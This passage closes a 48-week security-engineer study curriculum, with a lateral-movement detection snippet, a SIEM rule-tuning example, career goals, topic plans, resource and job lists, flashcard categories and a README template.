                    if (event['timestamp'] - self.tracking[user]['timestamp'] < 300 and
                        event['destination'] != self.tracking[user]['source']):
                        self.tracking[user]['stage'] = 'network_pivot'

            elif event['type'] == 'process_creation':
                if user in self.tracking and self.tracking[user]['stage'] == 'network_pivot':
                    # Lateral movement confirmed
                    self.create_alert({
                        'title': 'Lateral Movement Detected',
                        'user': user,
                        'attack_path': self.tracking[user],
                        'severity': 'CRITICAL'
                    })
```

False Positive Reduction (6 hours/week)

Tuning Methodology:
1. Analyze alert volume and false positive rate
2. Identify top 10 noisy rules
3. Add business logic exceptions

4. Implement whitelisting (carefully)
5. Adjust thresholds based on baseline
6. Document tuning decisions

Example Tuning:

```
# Original Rule (too noisy)
title: Admin Login Outside Business Hours
condition:
  user_role: admin
  time: NOT 9am-5pm weekdays
action: alert

# Tuned Rule
title: Admin Login Outside Business Hours (High Risk)
condition:
  user_role: admin
  time: NOT 9am-5pm weekdays
  AND NOT:
    - user in on_call_rotation
    - user in maintenance_window
    - source_ip in corporate_vpn_range
  AND (
    source_country != USA  # Unexpected location
    OR failed_attempts_today > 0  # Previous failures
  )
action: alert
severity: HIGH
```

Deliverables (Weeks 41-43)

- [ ] SIEM performance improved by 40%
- [ ] False positive rate reduced from 60% to 20%
- [ ] 20+ detection rules tuned
- [ ] Baseline behavior documented for 50+ use cases
- [ ] Alert fatigue significantly reduced
- [ ] Detection coverage for 90% of MITRE ATT&CK

Weeks 44-48: Career Development & Specialization

October 13 - December 6, 2026 | 10 hours/week

Professional Development (5 hours/week)

Conference Attendance/Talks:
- Black Hat USA (virtual or in-person)
- DEF CON (Security Village, Packet Hacking Village)
- BSides Local (speaking opportunity)
- OWASP Global AppSec

Certifications (Optional):
- OSCP (Offensive Security Certified Professional)
- GIAC GCIH (Incident Handler)
- GIAC GMON (Continuous Monitoring)
- [Target Company] Security Specialty
- CISSP (after 5 years experience)

Speaking Opportunities:
- Internal tech talks at company
- Local security meetups (OWASP, BSides)
- Conference CFP submissions
- Webinars and podcasts

Research & Innovation (5 hours/week)

Security Research Topics:
1. **Vulnerability Discovery:**
- Fuzzing web applications
- API security testing
- Container escape research
- Cloud misconfigurations

1. **Detection Research:**
2. ML-based anomaly detection
3. Behavioral analytics improvements
4. Novel attack technique detection
5. Threat hunting methodologies
6. **Tool Development:**
7. Open source security tools
8. Internal automation
9. Red team tooling
10. Blue team efficiency tools

CVE Discovery (Optional Goal):
- Target: 1-2 CVEs in Year 1
- Focus areas: Open source projects, web frameworks, common libraries
- Responsible disclosure process
- Building security researcher reputation

Career Progression Planning (2 hours/week)

Year 1 Goals (Weeks 31-48):
- [ ] Establish credibility in new role
- [ ] Complete all PortSwigger labs (211/211)
- [ ] Contribute to 3+ major projects
- [ ] Present at 1 internal tech talk
- [ ] Build relationships across security team
- [ ] Document 100+ security incidents
- [ ] Create 50+ detection rules
- [ ] Mentor 1-2 junior team members (if opportunity arises)

Year 2 Trajectory (Planning):
- Promotion to Senior Security Engineer
- Salary target: [Salary Range]
- Lead security initiatives
- Conference speaking
- CVE discoveries
- Open source contributions
- Specialization decision: Detection Engineering vs AppSec vs Cloud Security

Long-term Vision (3-5 years):
- Senior Security Engineer / Staff Security Engineer
- Security team lead or principal engineer
- Top 1% global expertise in chosen specialization
- Regular conference speaker
- Recognized thought leader
- Salary: [Salary Range]+ (Staff/Principal level)

Advanced Topics (Weeks 44-48 Specific Focus)

Week 44: Binary Exploitation Deep Dive
- Advanced buffer overflows
- Return-oriented programming (ROP)
- Heap exploitation
- Modern exploit mitigations (ASLR, DEP, stack canaries)
- Practice on exploit.education challenges

Week 45: Cloud Security Advanced
- Kubernetes security advanced topics
- Service mesh security (Istio)
- Serverless security (Lambda, Cloud Functions)
- Cloud-native security tooling
- Multi-cloud security architecture

Week 46: Threat Hunting Frameworks
- Sqrrl Threat Hunting Reference Model
- TaHiTI (Target-centric Threat Intelligence)
- Hunting Maturity Model
- Hypothesis-driven hunting
- Stack counting and anomaly detection

Week 47: Red Team Techniques
- Understanding attacker TTPs
- Adversary emulation
- Purple team exercises
- Atomic Red Team execution
- Detection validation through offensive techniques

Week 48: Year-End Review & Planning
- Document all achievements
- Update resume and LinkedIn
- Performance review preparation
- Set Year 2 goals
- Reflect on learning journey
- Plan continuing education for Year 2

Deliverables (Weeks 44-48)

- [ ] Attended 1-2 security conferences
- [ ] Submitted 1 CFP (conference talk proposal)
- [ ] Completed additional certification (optional)
- [ ] Contributed to open source security project
- [ ] All PortSwigger labs complete (211/211 = 100%)
- [ ] Year 1 career goals achieved
- [ ] Year 2 plan documented
- [ ] Professional network expanded (50+ LinkedIn connections in security)

END OF PHASE 5: Post-Employment Advanced Topics

Appendix A: Complete Resource List

Books Referenced Throughout Curriculum

Python

1. **Python Workout (Second Edition)** - Reuven M. Lerner
2. **Effective Python (Third Edition)** - Brett Slatkin

Security - General

1. **Hacking APIs** - Corey Ball
2. **API Security in Action** - Neil Madden
3. **Secure by Design** - Dan Bergh Johnsson, Daniel Deogun, Daniel Sawano

4. **Full Stack Python Security** - Dennis Byrne
5. **Microservices Security in Action** - Prabath Siriwardena, Nuwan Dias

Security - Specialized

1. **High Performance Browser Networking** - Ilya Grigorik (Free online)
2. **Applied Security Visualization** - Raffael Marty
3. **Practical Malware Analysis** - Michael Sikorski, Andrew Honig

Standards & Frameworks

1. **NIST SP 800-61r2** - Computer Security Incident Handling Guide
2. **NIST SP 800-40r3** - Guide to Enterprise Patch Management
3. **NIST SP 800-41r1** - Guidelines on Firewalls and Firewall Policy
4. **OWASP Top 10 2021**
5. **OWASP API Security Top 10 2023**
6. **MITRE ATT&CK Framework**

Online Resources

Training Platforms

- **PortSwigger Web Security Academy** - https://portswigger.net/web-security
- **HackTheBox** - https://www.hackthebox.com/
- **TryHackMe** - https://tryhackme.com/
- **PentesterLab** - https://pentesterlab.com/
- **SANS Cyber Aces** - https://tutorials.cyberaces.org/

Documentation

- **OWASP Cheat Sheet Series** - https://cheatsheetseries.owasp.org/
- **[Target Company] Security Documentation** - https://docs.aws.amazon.com/security/
- **Kubernetes Security** - https://kubernetes.io/docs/concepts/security/
- **Docker Security** - https://docs.docker.com/engine/security/

Threat Intelligence

- **AlienVault OTX** - https://otx.alienvault.com/
- **Abuse.ch** - https://abuse.ch/
- **MISP Project** - https://www.misp-project.org/
- **STIX/TAXII** - https://oasis-open.github.io/cti-documentation/

Tools Documentation

- **Burp Suite** - https://portswigger.net/burp/documentation
- **Wireshark** - https://www.wireshark.org/docs/
- **Nessus** - https://docs.tenable.com/
- **Semgrep** - https://semgrep.dev/docs/
- **Ghidra** - https://ghidra-sre.org/
- **Metasploit** - https://docs.metasploit.com/

Community Resources

- **Reddit r/netsec** - https://reddit.com/r/netsec
- **Reddit r/AskNetsec** - https://reddit.com/r/asknetsec
- **InfoSec Twitter** - Follow: @SwiftOnSecurity, @TinkerSec, @GossiTheDog
- **Security Blogs**: Krebs on Security, Schneier on Security, Troy Hunt

---

Appendix B: Job Search Resources

Job Boards

- **LinkedIn Jobs** - Filter: "Security Engineer", "Remote"
- **Indeed** - Advanced search for security roles
- **Dice** - Tech-focused job board
- **CyberSecJobs** - https://www.cybersecjobs.com/
- **InfoSec Jobs** - https://www.infosec-jobs.com/
- **YCombinator Jobs** - https://www.ycombinator.com/jobs (startups)

Company Lists

- **Built In** - Tech companies by city
- **AngelList** - Startup jobs
- **Keyvalues** - Culture-based company matching
- **Levels.fyi** - Compensation research

Interview Prep

- **LeetCode** - https://leetcode.com/
- **HackerRank** - https://www.hackerrank.com/

- **Pramp** - https://www.pramp.com/ (peer practice)
- **Interviewing.io** - https://interviewing.io/ (anonymous practice)
- **Glassdoor** - Interview questions and process

Networking

- **OWASP Local Chapters** - https://owasp.org/chapters/
- **BSides Conferences** - http://www.securitybsides.com/
- **Meetup.com** - Search: "security", "hacking", "infosec"
- **LinkedIn Groups** - InfoSec Professionals, Security Practitioners

---

Appendix C: Flashcard Topics Summary

Total Flashcards: 400+

By Category

Networking (50 cards):
- OSI Model (7 layers)
- TCP/IP protocols
- Common ports (20+)
- DNS record types
- TLS handshake

Cryptography (40 cards):
- Symmetric algorithms
- Asymmetric algorithms
- Hash functions
- Password hashing (bcrypt, Argon2)
- Common crypto mistakes

OWASP Top 10 (30 cards):
- Each vulnerability with examples
- Prevention techniques
- Attack scenarios

Cloud Security (30 cards):
- [Target Company] services (IAM, S3, EC2)
- Kubernetes concepts
- Container security
- Cloud misconfigurations

System Design (25 cards):
- Authentication patterns
- SIEM architecture

- Zero Trust principles
- Scalability patterns

Attack Techniques (50 cards):
- SQL Injection variants
- XSS types
- CSRF prevention
- SSRF exploitation
- Privilege escalation

Incident Response (20 cards):
- NIST IR phases
- Containment strategies
- Evidence preservation
- Forensics procedures

Detection Engineering (50 cards):
- MITRE ATT&CK tactics
- Correlation rules
- False positive reduction
- Threat hunting

Tools (50 cards):
- Burp Suite modules
- Wireshark filters
- YARA rules
- Semgrep patterns
- Nessus plugins

Compliance (20 cards):
- PCI-DSS requirements
- GDPR principles
- HIPAA controls
- SOC 2 criteria

Programming (35 cards):
- Python built-ins
- Security code patterns
- Secure coding practices
- Common vulnerabilities

Appendix D: Portfolio Project Templates

GitHub README Template

~~~
# [Project Name]

![Project Logo](logo.png)

## Overview
[One paragraph describing what this project does and why it's useful]

## Features
- ✅ Feature 1
- ✅ Feature 2
- ✅ Feature 3

## Architecture
![Architecture Diagram](docs/architecture.png)

[Explanation of system design]

## Installation

```bash
git clone https://github.com/username/project.git
cd project
pip install -r requirements.txt
python setup.py install
~~~

Usage

```
from project import Tool

tool = Tool(config)
result = tool.process(data)
```

Performance

- Processes 10,000+ events/second
- 99.9% uptime
- Sub-100ms latency

Testing

```
pytest tests/
```

Security Considerations

[How security was addressed in design and implementation]

Contributing

Pull requests welcome! Please read CONTRIBUTING.md

License

MIT License

Author

[Your Name] - LinkedIn - Portfolio
```

Appendix E: Interview Question Bank

Technical Coding (50 questions)

System Design (30 scenarios)

Security Deep Dive (40 questions)

Behavioral (STAR Stories - 30 scenarios)

Curriculum Complete

Total Duration: 48 weeks (Dec 16, 2025 - Dec 6, 2026)
Total Investment: 862-968 hours
```

**PortSwigger Labs:** 211/211 (100% by Week 48)
**Python Fluency:** 9/10
**Career Outcome:** Security Engineer @ [Salary Range]+

**Journey Summary:**
- ✅ Phase 1: Core Security Foundation (Weeks 1-8)
- ✅ Phase 2: Detection & Exploitation (Weeks 9-16)
- ✅ Phase 3: Coding & System Design (Weeks 17-24)
- ✅ Phase 4: Job Search Intensive (Weeks 25-30)
- ✅ Phase 5: Post-Employment Advanced (Weeks 31-48)

**From where you started to where you'll be:**
- Intel Security Engineer → Full-time Security Engineer
- Threat modeling expertise → Full-stack security engineering
- 0 PortSwigger labs → 211/211 complete
- Python 5/10 → Python 9/10
- 0 production tools → 4 portfolio projects
- Student → Professional with offer(s)

**This curriculum represents a complete, comprehensive, detailed roadmap for becoming a professional Security Engineer. Every week includes specific reading materials, hands-on labs, coding challenges, and measurable deliverables. The progression is carefully designed to build upon previous weeks while maintaining motivation through varied content and visible progress.**

**Remember: The journey is as important as the destination. Embrace the challenges, celebrate the wins, and never stop learning.**

**Good luck! 🚀🔒**

---

**Document Information:**
- **Generated:** December 14, 2025
- **Version:** 2.0 - Complete 48-Week Detailed Curriculum
- **Total Lines:** ~7,500+
- **Total Words:** ~50,000+
- **Maintained by:** Fosres

---